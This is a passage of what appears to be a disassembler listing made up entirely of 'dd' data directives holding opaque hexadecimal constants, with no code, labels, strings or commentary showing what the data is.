		dd 0CE0F7E49h, 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h
		dd 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h,	3DF28329h
		dd 0F0E947B2h, 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h
		dd 0BE443EC2h, 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh
		dd 0CF862C8Ah, 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h
		dd 2AE4D68Eh, 3D030013h, 260F097h, 7D003E2Fh, 3F217081h
		dd 4386C29h, 4C26453Bh,	500ABAEh, 0C811E088h, 39EA015Ch
		dd 2D663A2Fh, 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h
		dd 0F07E3409h, 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h
		dd 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h
		dd 5EFCF04Dh, 0E4168800h, 5014C609h, 44762CD8h,	607A013Ch
		dd 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h
		dd 0CC38C003h, 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h
		dd 0E82972E0h, 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h
		dd 0CC4C68D6h, 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h
		dd 0EF8020E9h, 509BB0E7h, 6898B038h, 101CEA00h,	2F92153Fh
		dd 0D6282CE0h, 8E9F03FEh, 32B009B6h, 6800C19Ch,	0D136C926h
		dd 3A49D93Eh, 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh
		dd 0C4B88098h, 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh
		dd 92626088h, 0AE8276h,	2C7C7E9Eh, 3249017Ah, 4D334200h
		dd 0EC3C80C9h, 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h
		dd 0DA300964h, 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h
		dd 169E5E1Dh, 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h
		dd 69385C12h, 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh
		dd 0C390516h, 17A34AC3h, 0C223B300h, 7E06702Fh,	525E0040h
		dd 0C968660Fh, 36094188h, 0D96C6494h, 69201EBh,	0CC4A74B0h
		dd 0E6724009h, 3A024200h, 2CC2104Eh, 70E8FC3Ch,	28682641h
		dd 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h
		dd 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h
		dd 0E3603E41h, 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch
		dd 0DE1C1072h, 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h
		dd 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh
		dd 265081B7h, 3C019335h, 410E251Ch, 0E0306474h,	0E2E80030h
		dd 9682DC06h, 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh
		dd 0C8FA4D80h, 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h
		dd 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h
		dd 96849754h, 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h
		dd 745B7239h, 8F704983h, 3EAE3D00h, 0EAF32CC6h,	1EC001B3h
		dd 46A2B92h, 0E956E4C1h, 4B00F1E2h, 0F24CE238h,	3824763Bh
		dd 3D80099Fh, 4E32D847h, 2E00C366h, 0DC94D28Ch,	279C122Ch
		dd 4DC19E83h, 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h
		dd 0B29D0043h, 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h
		dd 7724F080h, 499E00D2h, 0E100D6FAh, 6807E9F5h,	3263A66h
		dd 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh
		dd 0E7F8FA07h, 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh
		dd 0A17207C0h, 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h
		dd 89951A00h, 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h
		dd 608E6163h, 0B7E2B0A5h
		dd 98879703h, 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h,	5804F32Dh
		dd 2794DC09h, 8C07161Eh, 93FE8FC0h, 0FE36323Fh,	7E8A3C70h
		dd 3772007Fh, 8640A06Bh, 0A5E21CB4h, 1DB89D00h,	15F09ECDh
		dd 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h
		dd 5602C11Dh, 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh
		dd 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h,	1C014F0h
		dd 0EE300BA3h, 3A7C32h,	0F916640Ch, 2F34B8FDh, 0C6610500h
		dd 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh,	2E7353Fh
		dd 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h,	611FFA94h
		dd 76593h, 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah
		dd 0F77A48DEh, 987C4B00h, 76165C26h, 96308312h,	0ACFA4A00h
		dd 12B0D4h, 0BC684FB4h,	7678C0CBh, 75C85B3Bh, 50F08B00h
		dd 87F84ACAh, 3F032772h, 0C200D4ECh, 7E265814h,	48204A1Ch
		dd 0F413F68Bh, 28EEE292h, 6000FAB7h, 68E564E7h,	3E70DE4Ah
		dd 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h
		dd 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h
		dd 0C32A08E0h, 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h
		dd 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h
		dd 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h
		dd 88D860C9h, 2305E71Dh, 2D01BC9Fh, 0C0C83166h,	0C93CCCh
		dd 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h,	84C880F9h
		dd 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h
		dd 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h,	3C100905h
		dd 94A87C78h, 0E15C8A00h, 74F96C12h, 84222F00h,	44AE568Ch
		dd 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h
		dd 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh
		dd 6FB02CC1h, 7BB8F80Bh, 1C4107FEh, 0A02F3834h,	20704832h
		dd 0F5C5A00h, 6CCB689Ah, 2FF0747Bh, 0AB63DC79h,	96F441BFh
		dd 0C04630F8h, 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h
		dd 0E285B778h, 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h
		dd 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h
		dd 4FDE00E4h, 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h
		dd 4F48D0B8h, 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h
		dd 28068480h, 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h
		dd 88B00F2Fh, 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh
		dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh,	0E80FC76h
		dd 8490438h, 4A48EE58h,	18F00073h, 0F4561CE2h, 147B01Fh
		dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h
		dd 4B854E4h, 602F5C3Fh,	15A00E03h, 85B6AB01h, 3FF013Bh
		dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh,	4D02E00Ah
		dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h,	89AD30D8h
		dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh
		dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h
		dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h
		dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h,	0E853C70Ch
		dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h,	0A3807623h
		dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch
		dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh
		dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh
		dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h
		dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h
		dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh,	9D0309C5h
		dd 51A0BB05h, 2F29A03h,	6EBD8880h, 12D0070h, 85FE4C75h
		dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h
		dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h,	56000BDBh
		dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h
		dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh
		dd 36104837h, 0F90CC1h,	8DA5F302h, 3C0377E1h, 535EA400h
		dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h
		dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h,	79D89DD0h
		dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh
		dd 834E548Bh, 0D17308h,	0ADCA7DACh, 0C107EF66h,	910CEB00h
		dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h,	0E3001481h
		dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h,	8DBD462Dh
		dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h,	40C0850Ch
		dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h
		dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h
		dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h
		dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h
		dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h,	2A25A66Fh
		dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h,	4939012Ah
		dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h,	140200E2h
		dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h
		dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch
		dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah,	0FEEBF0C1h
		dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h,	61022F11h
		dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh
		dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h
		dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h,	306A5F10h
		dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh
		dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h,	0AB10D4h
		dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h,	0E49B00F2h
		dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh,	31EEE4h
		dd 13B5A1Fh, 3733888Ah,	0EF60DA00h, 0BB86BC39h,	0E2EE006Fh
		dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h
		dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h,	17607C0Eh
		dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h
		dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h
		dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h
		dd 6D009579h, 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh
		dd 0B103FD41h, 87A3972Ah, 8ACFE029h, 48240078h,	0B7EA61E9h
		dd 0D5EE7649h, 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h
		dd 0A0656631h, 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh
		dd 0AD30EC57h, 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh
		dd 0A575C410h, 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh
		dd 71959987h, 3F8F1CA0h, 4698003Dh, 0DB31A266h,	50030A8Eh
		dd 5DA8D0F7h, 59C6D05Ch, 24D51EC2h, 0B842CF0Ch,	0BD49E9C0h
		dd 8100262Dh, 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h
		dd 0D79BE600h, 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h
		dd 7F834AC6h, 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h
		dd 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh
		dd 512E1E0Eh, 451A4069h, 0F430F8Ch, 0B82A844Eh,	0FA7B6C20h
		dd 0B400A860h, 768BC7DFh
		dd 7DB91A0h, 179A270Ah,	487F006Bh, 0EA038997h, 633644D0h
		dd 1504E083h, 18CECDFh,	35586176h, 0C46F24BFh, 0E63B5599h
		dd 0EC2B0019h, 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h
		dd 1DAFDB04h, 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh
		dd 737938h, 50D74341h, 6EC21Dh,	69EC54E7h, 1367D3B3h, 3E74EA1Eh
		dd 7B9D3700h, 0CEB45Ch,	62574738h, 33B5B6E9h, 61B30800h
		dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h
		dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h
		dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h
		dd 53458EC0h, 4072200h,	0EC5FD244h, 0D3C80020h,	0A96D7C14h
		dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh
		dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh
		dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h,	15850056h
		dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h
		dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h,	9207A7B1h
		dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh
		dd 0A8C26Dh, 6878AC54h,	0F73128F3h, 0B033C500h,	9B35B6B1h
		dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh
		dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh
		dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h,	500BEF73h
		dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh
		dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh
		dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh
		dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h
		dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h
		dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h,	0E21CB602h
		dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h
		dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h
		dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h
		dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h
		dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh
		dd 6206E52h, 98707B9Eh,	50657AE5h, 6F643E70h, 375FB875h
		dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh
		dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh,	2E63C66Dh
		dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh,	1E2BA2A3h
		dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h
		dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh
		dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h,	0EA00DF96h
		dd 10060h, 361A0000h, 26B50000h, 0AA433F1Dh, 0E3E4E2ACh
		dd 882BA9B3h, 0F8750E00h, 0B99E65F8h, 0CFD3723Bh, 1AA65960h
		dd 11297766h, 46E6E9F3h, 0E3719E70h, 0E0B1904Fh, 6FD098B3h
		dd 26913C17h, 63430E3h,	0E3E2EA88h, 959E211Fh, 0E3CEA67Bh
		dd 7DF33519h, 0C56BFA28h, 0B490E399h, 9435F900h, 0C2DF036Eh
		dd 5BC666AFh, 1517D09Eh, 0A9930194h, 6E8CEDBCh,	48B1D376h
		dd 162C1933h, 4CBE4F52h, 0B56586CAh, 0E3934C7h,	0C742C5EDh
		dd 5C200037h, 58996164h, 5EE2C90Fh, 8FE175ADh, 77F3DDF7h
		dd 2BD8A529h, 0CB4F1BAEh, 39761379h, 0DA1A4E22h, 8C85372Ah
		dd 0A2D22CBBh, 22836EAEh, 58969646h, 0D88B677h,	7CDBFD3Ch
		dd 20F17FB6h, 65F00305h, 0DF22C38Ah, 1E693D0Bh,	254895E8h
		dd 83142BAh, 7BD722BCh,	5E701D91h, 6E13ABF4h, 4C844F72h
		dd 0A2CCECD8h, 224C1583h, 0D9D744D3h, 7645C64Ch, 9B874717h
		dd 0BF7F2033h, 21788127h, 49411EB5h, 37AADF7Eh,	61DEAB6Dh
		dd 0A9DE77EDh, 1D50FC49h, 7169865Bh, 97C788A4h,	0C7EC6370h
		dd 0EBE18BB8h, 9162F55Bh, 6BBA4188h, 0FAF2C3B5h, 251050D8h
		dd 38975EE2h, 0C5A045E6h, 0A9E7AFC1h, 539B29CDh, 784C6376h
		dd 50F71121h, 26F4767Dh, 6856DC0Ch, 6F6F6257h, 0F60FA812h
		dd 307C536Ah, 34FFA048h, 0B537D113h, 0E90C1ACh,	0AB3DCC57h
		dd 661997FCh, 60936C9Eh, 48C7DE01h, 1D5A640h, 0C0683A40h
		dd 0F5CF36E1h, 0EFD07178h, 0DD7F6981h, 31C2B8F3h, 8DE09683h
		dd 0F9218716h, 675D97CFh, 0BA1B1279h, 28A53B06h, 0F105E3Bh
		dd 70344C5Ah, 7714F41Dh, 8C87AE27h, 0D9C552C0h,	5D23EF8h
		dd 92C47DEAh, 429ED868h, 0DFBE3815h, 469AEADCh,	0B4BE3080h
		dd 1C0CCB2Ah, 9EC710Bh,	7F5E2511h, 14843EF5h, 4FEBF1F4h
		dd 0BC9EB2D7h, 0E48F45AEh, 8C23A0FAh, 78815172h, 3B5428h
		dd 0C000AF6Eh, 76DE385Ah, 1170D0CEh, 0D93ACB5h,	6AA33107h
		dd 6D0CC399h, 54D98D10h, 0A704E870h, 9C19E239h,	0DCEEF88h
		dd 0F2E60E6Ch, 7B1CB815h, 9ABB8E46h, 0B1F85948h, 0FDA40568h
		dd 5AF6512Fh, 6162A48Ah, 95C3C307h, 53D32C38h, 93C26E81h
		dd 3183B545h, 648C6244h, 6B8769D7h, 75593C2Eh, 0EF0AD24Eh
		dd 346F8D6Ah, 80F30967h, 0C63FDA3Eh, 4AD0D425h,	0D1B83525h
		dd 12850117h, 2B804579h, 0D4B68BA0h, 0E8A86996h, 49F686D0h
		dd 5C6C0A36h, 3F72F86Bh, 25AB9458h, 878083CFh, 54195549h
		dd 25DAD5D7h, 56FA6E9Bh, 0BD66120Ah, 0AE16B81Bh, 99E71F78h
		dd 0AA19C48Eh, 75ADA85Fh, 30DC7976h, 6B770C01h,	9911B9F5h
		dd 32182C69h, 0E490868Ch, 3ABB033Fh, 0B4C00CBEh, 389FAA7Bh
		dd 67760CDh, 4C2867EEh,	0F389751Ch, 0A6AECA91h,	7A36E78Fh
		dd 79AD0679h, 1F64B345h, 8CC200ACh, 210B851Eh, 0E3B06A0Ah
		dd 39EF91Eh, 625E250Bh,	5341C546h, 1C1C815Fh, 7EF4BF5Fh
		dd 0BCA9409Ah, 0C705C136h, 86E0D11h, 47C67DADh,	1712163Ch
		dd 0F83BB64Ah, 0F1D6A6E4h, 0ABAF789Eh, 6A34D8F0h, 0C746DD42h
		dd 73B82B61h, 89A03F33h, 91DF6E7h, 13DEA98Fh, 0B033838Fh
		dd 76E1C1B9h, 0CA52A5E8h, 657E46BDh, 2B3B33F5h,	7537EDA4h
		dd 0A708D11Eh, 0BC5A33E8h, 0E01A0C71h, 1C37D2BDh, 64CB9A6Eh
		dd 0EC33E17h, 9E25CA00h, 0ACCEBAF5h, 4DE32749h,	0DAD64B4Eh
		dd 555C2E98h, 0C5215678h, 512450B3h, 402BFF26h,	0AB6D0993h
		dd 6DB9DADFh, 40ACF8D6h, 19844649h, 0EA794EFh, 329DF9C9h
		dd 0F1D0765Bh, 0D9522F58h, 1B89FA8Bh, 5FF49B53h, 56C076DAh
		dd 0C4840A0Bh, 0E38664E7h, 0DB12431Eh, 7F8C75ADh, 6D1E8BF4h
		dd 0A8A92153h, 0A030544Dh, 0D7E2510Eh, 0A029D98Dh, 833439F9h
		dd 2322FEAAh, 855A6A4Bh, 50A40D5Ch, 0EF4AAF4Ah,	8D9ED960h
		dd 0E61AD5CDh, 0DB326177h, 9E83DB83h, 773ADE9Bh, 20036966h
		dd 7F428E69h, 5F941E2Ah, 2B9FEED1h, 2371BDFEh, 4529F5A3h
		dd 0E8EF70CAh, 0F13B8CB9h, 0A0CEA675h, 5FEE0411h, 941203F1h
		dd 592BA222h, 8A63C794h, 8AB78D49h, 0C2409E52h,	0B6162C62h
		dd 0C830F3F5h, 0F1AF35F4h, 0ABB2F141h, 1A640F9Ah, 93A23921h
		dd 9108DBF1h, 0FCD8FADCh, 24D751C2h, 0F7BD499Fh, 4B9F2594h
		dd 68AC9B80h, 591D756Ah, 8EE7E4DCh, 5C581495h, 970EE9Eh
		dd 67113F95h, 1786B1C7h, 0B2694D05h, 8C22D4B5h,	12F5A802h
		dd 648D8CA5h, 6207AFE0h, 604445DAh, 12A35F0h, 78BCC857h
		dd 7D434C80h, 0BC38A72Ah, 284D71AFh, 313131DAh,	923468Dh
		dd 0FE0ED8C0h, 0A16BA048h, 0F30258E4h, 1589229Dh, 48237740h
		dd 3DBAF9DBh, 74F81D5Bh, 865AF9DDh, 9A53B929h, 77537E96h
		dd 952215EAh
		dd 3C262497h, 70765367h, 0E9DA7E63h, 4F6FF413h,	0F1B41F89h
		dd 0F638EF2Bh, 58075CBAh, 1BBAD874h, 0D648FD0Bh, 0C193DEB6h
		dd 45BC1689h, 32BCA5E6h, 0A6A14F52h, 6989701Ah,	0F08AA518h
		dd 9DCCF6D9h, 7BC3ACA5h, 0BED26AD0h, 425BBAEh, 799B5A2Dh
		dd 0FEB3632Ch, 14B9516Ah, 0D680815Ch, 1D2FEC55h, 6C4BC955h
		dd 0EDCC504Ah, 0D5384D0h, 2685496Fh, 0A31C9A2Dh, 9410E422h
		dd 909207E7h, 0C8FBDB4Ah, 0B9B2B70Fh, 0D7034C7Fh, 5E21459Dh
		dd 3B9D624h, 348C5482h,	77AF581Dh, 0C310049Bh, 12C4C958h
		dd 0E076B20Fh, 0D09748B0h, 41E718B5h, 9444DC88h, 8481822Ah
		dd 550258D4h, 0A2DD8ACCh, 98C8B39Eh, 71526616h,	658F72D8h
		dd 940F1458h, 0D7EDA5FDh, 9450590Dh, 139341FDh,	0DDBAC26Eh
		dd 0F5CCBF24h, 12F66E59h, 117BCF39h, 0E9A792BCh, 4292F127h
		dd 6AD7AA4Ah, 5D3C224Bh, 9428C9D5h, 0EDB992A4h,	7071D829h
		dd 28A96749h, 92D51BFAh, 0E13F0A7h, 75CE6988h, 37A033B5h
		dd 0B76689Ah, 7F95AEDEh, 325672BCh, 8654094Bh, 1E27AEDAh
		dd 45BB913Ah, 99DDAE33h, 890C022h, 2BBF3E0Ch, 8F245B3Bh
		dd 74669ADFh, 0EAED1878h, 89684AC5h, 75D5C88Eh,	4E715576h
		dd 6E66F240h, 0A53BBA0Fh, 793AA2Bh, 2B93F66Fh, 905FD169h
		dd 0D0747C8Eh, 64C50673h, 0F0A268A6h, 0FB2946Dh, 0BEE572E8h
		dd 1DD65257h, 297B9890h, 2BB66D68h, 672BE8Bh, 6AA951Ah
		dd 0F54DC0DDh, 364D3C07h, 0C23B3CC6h, 2BADA71Dh, 0B4D052F9h
		dd 716E79B1h, 2C0DBF58h, 8EEA7C1h, 0E023CC11h, 8E48F29h
		dd 0F8289C72h, 0EDC85378h, 0D1299EDAh, 0C2343CF0h, 6751920Ch
		dd 948C0C75h, 67D72B2Fh, 94DAABE6h, 11797465h, 3A8AD0EDh
		dd 0C6F8A964h, 0DA32CB93h, 0DEB49D98h, 0E70BE6AAh, 0B58E2B90h
		dd 0BF8A6A19h, 0F7D564A1h, 0B590AABEh, 331BE8D5h, 0D9EE65F2h
		dd 1CB68588h, 267CCC86h, 1B02A3DFh, 6F939C4Dh, 0C69E5C5Ch
		dd 9F3AB035h, 0F536FC7Ch, 10038937h, 8501924Ch,	0CF715423h
		dd 9F18D36Ch, 87B10908h, 6B2AC486h, 0EEAED96Dh,	0C967D274h
		dd 0CABCA5CCh, 24489A68h, 0D7E8D424h, 0CF5524AFh, 3807A575h
		dd 405C8250h, 0E98A9CB8h, 75D730BBh, 10DD597Ah,	3E55126Eh
		dd 6075D82Dh, 0F2E91504h, 0B03CE054h, 260EDEh, 1A6B500Ch
		dd 846280AAh, 81180922h, 0A0156E51h, 2A51CDBFh,	287EFD3Ch
		dd 488B92CDh, 2B3842E3h, 491D0D47h, 3D4A3BFEh, 0AE0E21C6h
		dd 0EFF81BF8h, 2FE5E66Eh, 0F3C2909Dh, 15981E64h, 6970F0E2h
		dd 9AD20F08h, 1ACFF849h, 0B7E80F41h, 0AB04E3FBh, 0F497C2Ah
		dd 0F3A25574h, 6171D367h, 153AD0DCh, 0F45E40C8h, 62308BE7h
		dd 65B6364Fh, 903D562Dh, 0E32B545Ah, 0E988CF23h, 7CE6B34Bh
		dd 9155F1BAh, 0E2F5FFF3h, 0D86C8A86h, 22CF407Bh, 0C676FB2Eh
		dd 16FC2F1Fh, 95245A75h, 0CD2F90C7h, 0EDFA7ED5h, 0DC760B7Bh
		dd 1DA74E70h, 65C679F0h, 0CC9A44Eh, 0EE05F516h,	0F2836C3Fh
		dd 0B9D6466Ah, 14DD83A9h, 1D7B0E22h, 808EEB08h,	0CC886844h
		dd 255CE191h, 0E10900EAh, 400B5864h, 0A43BCC95h, 0A6B953D6h
		dd 11956C2Ch, 0CDB118F4h, 0E5F2A1FFh, 0B800C38Eh, 0B918EBB3h
		dd 1EABD9A0h, 1180C86Ch, 0FAA3393h, 0E904F0ABh,	2C50D3Eh
		dd 0F0A73CD9h, 267B5736h, 0A35770DEh, 0E3DDDB0Ch, 0AE451361h
		dd 89D25595h, 0EEABA38Eh, 73957F8Eh, 0BF8BDC80h, 2D6439B7h
		dd 0EFF873B0h, 18158FBFh, 29225537h, 599939B4h,	5962B8A0h
		dd 1E27FCA9h, 48890CE7h, 8DAF10E2h, 0C6BE5892h,	0CDDEACDAh
		dd 0F16DBC43h, 3787183Fh, 0E8AF1D75h, 17D1E02Bh, 57089E5Fh
		dd 26D09E16h, 0BDBD4947h, 2F93005Bh, 0BA40F27Bh, 0F36ACFE5h
		dd 0B2658F7Eh, 0B97CD974h, 0DAA3CD3Fh, 0DB299B6Eh, 9D8FDDDFh
		dd 0E84816CCh, 68F69474h, 0FE0ABBA8h, 178DE7B2h, 89DE6091h
		dd 0F1BCD761h, 782E4B3Eh, 7F66E0C4h, 82685B40h,	51E4AF2Ch
		dd 4016F3EEh, 0E325B272h, 0B59E74EFh, 36012577h, 0B16FC4B8h
		dd 21B59282h, 0E013399Ch, 6C6B281h, 0BAA90925h,	931BE1B2h
		dd 0C14DF5ADh, 0E1DBC262h, 57D210A2h, 0BF5F2D6h, 5BCCDB9Bh
		dd 8C858F75h, 0F3A6EA90h, 669E4854h, 0DCE55863h, 39B08F86h
		dd 0B59239E4h, 699B09D3h, 0D5ECE2D9h, 9CF00D56h, 17BD6E47h
